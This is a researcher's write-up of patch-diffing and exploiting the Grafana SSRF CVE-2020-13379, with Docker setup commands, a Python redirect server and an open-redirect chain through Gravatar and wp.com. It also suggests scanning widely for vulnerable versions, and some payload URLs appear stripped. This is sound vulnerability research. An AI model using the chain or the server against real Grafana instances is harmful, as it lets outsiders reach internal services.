Patch Diffing and Exploiting CVE-2020-13379


CVE-2020-13379 is a high risk vulnerability in Grafana, an analytics platform. A brief description from the the Grafana Website is as follows:

Grafana allows you to query, visualize, alert on and understand your metrics no matter where they are stored. Create, explore, and share dashboards with your team and foster a data driven culture.

An unauthenticated SSRF vulnerability was found by Justin Gardner (@Rhynorater) in May 2020 – you can find his write-up here. It affects all versions of Grafana below 6.7.4 and 7.0.2 – the advisory is here.

One small detail with this vulnerability is that Grafana advertises the version to unauthenticated users, so it’s really easy to see if an application is vulnerable, so if you’re looking to do internet-wide (/bug-bounty-wide) to find vulnerable assets, just look to the page footer!

I decided to reverse engineer the patch for this bug to get some insight into Go code review and SSRF in general. Justin’s write-up gives a very complete breakdown of the issue but I wanted to add my own insight to explain the full process I went through, using Docker to create a local version of the application and explaining my thought process as I stumbled through this interesting bug.


So from doing a commit diff in git with the vulnerable code fix it’s immediately evident that the vulnerable code is the following:


//  pkg/api/avatar/avatar.go:53

/* Hotfix
var validMD5 = regexp.MustCompile("^[a-fA-F0-9]{32}$")

func (this *CacheServer) Handler(ctx *models.ReqContext) {
    hash := ctx.Params("hash")

    if len(hash) != 32 || !validMD5.MatchString(hash) {
        ctx.JsonApiErr(404, "Avatar not found", nil)

// Vulnerable Snippet:
func (this *CacheServer) Handler(ctx *macaron.Context) {
    urlPath := ctx.Req.URL.Path
    hash := urlPath[strings.LastIndex(urlPath, "/")+1:]

It seems like a simple SSRF issue. The URL path of the avatar cache would usually expect a hash, but in this case it is possible to change it to a URL. I’m going to get a docker container working of a Grafana instance with the vulnerable version to see if I can find the avatar cache functionality and write an exploit.

The cache library is gocache. The snippet this.cache.Get(hash) looks interesting.

Commands used to create vulnerable docker instance for white box approach:

cd /var/lib
docker volume create grafana-storage
docker run -d -p 3000:3000 --name=grafana -v grafana-storage:/var/lib/grafana grafana/grafana:6.7.3

Then, to ‘ssh’ in as root:

# Get the container ID
docker ps
docker exec -u 0 -it (CONTAINERID) /bin/bash

It looks like this is the function where the server side request is made:
(line 62)

func (this *Avatar) Update() (err error) {
    select {
    case <-time.After(time.Second * 3):
        err = fmt.Errorf("get gravatar image %s timeout", this.hash)
    case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):
    return err

this = the avatar struct. Thunder is the module used to make a web request. So essentially, the requested URL is something like:


gravatarSource is defined earlier as
So essentially, we have this:{USER CONTROLLED}?

Well, great. It uses a gravatar URL. Now what? From my understanding, the only way to exploit this is with an open redirect on the site.
A cursory Google for ‘grafana open redirect’ suggests this is possible with the ‘d’ parameter! This is a feature used for the ‘default’ image, and can be a URL that matches a few criterea. So I guess I can just add my own URL to the d parameter?

Okay, after a bit of digging I now have a pingback!


The trick was to double URL encode the slashes. Pretty cool! But this pingback is coming from gravatar, not grafana. I need to get past the gravatar filter in the first case. I guess this means setting up a server to respond on the first request with specific headers such as content-type, and then on the second request give a 302 redirect.


Okay so I’ve written the Python server to respond to anything from the Photon/1.0 user agent (Gravatar) with an image, and everything else with a 302:


# Web server to respond with different stuff depending on the request

# Requests with user agent Photon* respond to with a simple jpg image
# Anything else should be given a 302 redirect.

# Usage:
#    python3 [<port>] [<redirect>]

from http.server import BaseHTTPRequestHandler, HTTPServer
from http.client import parse_headers
import logging

class S(BaseHTTPRequestHandler):
    def _set_response_img(self):
        self.send_header('Content-type', 'text/html')
        # Need to have an image at /tmp/image.jpg
        f = open('/tmp/image.jpg', 'rb')
        image =

    def load_binary(file):
        with open(file, 'rb') as file:

    def _set_response_redir(self):
        self.send_header('Location', argv[2])
        #self.send_header('Location', '')

    def do_GET(self):"GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        headers = str(self.headers)
        for line in headers.split('\n'):
            if 'User' in line or 'user' in line:
                useragent = line.split(':')[1].strip()
        if 'Photon' in useragent:
            print('Request from gravatar')
            print('Request not from gravatar')
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = # <--- Gets the data itself"POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                str(self.path), str(self.headers), post_data.decode('utf-8'))

        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)'Starting httpd...\n')
    except KeyboardInterrupt:
    httpd.server_close()'Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:

This doesn’t seem to be working – the filter doesn’t see that it is an okay page and then access it from the app, it responds with the image directly in the page. Hmm.

It goes from Grafana to, which is used as a kind of cache / CDN. So anything passed through to Grafana’s ‘d’ is pushed through to like this:

And the content is served from So I guess the question is whether there are any methods to get an immediate redirect from, rather than just a re-displaying of the image?

After a fair bit of looking around, I’ve found an example of a full redirect from that site to imgur

It looks like it will always redirect properly to imgur. Regardless of the subdomain, or if it returns a valid image. So I guess I need to find a webapp that is immediately redirected to from with an open redirect or redirect functionality. Or find out if there’s a way to avoid ending up on…

I’ve found what looks like the source code for Photon:

I’ve spent several hours looking for an open redirect or issue with No luck. I did run a fuzz with the top 10000 sites on alexa to see if any other domains are ‘redirectable’, and found – this one seems to allow stuff prepended to the bit, which is interesting. So far I’ve found that the filter looks something like:


I wonder if I can break that somehow? I tried creating a stupidly long get request to see if I could get the end cut off, but no luck. So it looks like my options are:

  1. Find an implementation error in Photon (it is open source)
  2. Find an implementation error in the imgur/blogspot redirects, which I have reason to believe are being handled by nginx
  3. Find an open redirect in
  4. Find an open redirect in

I can’t find any real way to get a 302 in the Photon source, and I’ve spent a fair bit of time looking at imgur for open redirects with no luck.

For reference, my methodology with looking for an open redirect with imgur was content enumeration (gobuster – raft-dir), and appending various common redirect/url parameters to different endpoints. When this didn’t work, I tried param miner with burp on some likely candidates (like logout, and some other weird behaviour), but no luck there. is a possiblity, as it allows arbitrary subdomains, but I don’t think I can control one of those subdomains easily. Also, with it being Google, I’m not sure how likely an open redirect is.

Which leaves implementation error in the redirects – I’ve already had a bit of a fuzz but I should do more work on it.

My methodology here is to use a wordlist of all URL encoded characters and run them against a single interesting character in the URL to see what happens, and if it breaks in an interesting way. Basically I’m looking for a 302 redirect with a different domain to * – and I’m focusing on that domain because it allows an extra wildcard subdomain, unlike imgur which seems to only allow

After a fair bit of fuzzing, I identified that it is possible to add an arbitrary amount of forward slashes to the start, which get removed. URL encoding didn’t matter, as it seemed to exhibit the same behaviour with or without URL encoding (including on forward-slashes!). So this led to a lot of fuzzing with path normalisation payloads, like seeing what happens when I use /..//.. etc. in the URL. The issue here is that I couldn’t put anything inside the forward slashes at the start of the URL, so even if I could reference down it wouldn’t work.

Anyway, several more hours of frustration later, it turns out \/ is my best friend! The following payload redirects to my own domain:

GET /\/

I guess that because the forward slash is ‘negated’ by the backslash somewhere along the stack (my money is on Nginx), it doesn’t seem to think of it as a forward slash. Really weird, but hey. This responds with the following:

HTTP/1.1 302 Moved Temporarily

Which I feel should really, really work, but URL encoding comes into play. It looks like because there are so many redirects, we have to use double URL encoding to get the backslashes to go through. The following Gravatar URL works for the redirect to, so we just need to make this request through to Grafana:

So now it’s just a matter of creating a suitably URL encoded payload. This is a breakdown of the ‘components’ of the payload, with how many redirects are required to get the URL encoding working.

0        1234
1        ?d=
2        https%3a%252f%252f7
2        \/
1        /
0        asdf.png
1        ?f=y#

That last component is potentially unneccesary, so I’ll try without first.

No luck. This was the original payload that worked:

Which definitely works, I just tried again. So that payload follows:

grafana -> gravatar -> w1 -> burp collaborator

1 – grafana
2 – gravatar
3 – w1

Request from client to grafana


Reqest from Grafana to W1


Request from W1 to mydomain


So I’ve enabled debug logging on Grafana. This is the issue that I’m getting:

Get failed to parse Location header \"\\\\/\": parse\\/ invalid character \"\\\\\" in host name"

So I need to somehow get that backslash out of the i1 redirect’s host name. I guess the # character? So something like


Yeah! This works! 😀

For reference, the open redirect issue can be exploited with the following:

Another open redirect found by Justin, they guy that found the bug, utilizing ; to break the parser and ? to escape the rest of the URL

Toolset / References

Grafana Blog Post about Update

Docker w/ Grafana

Git History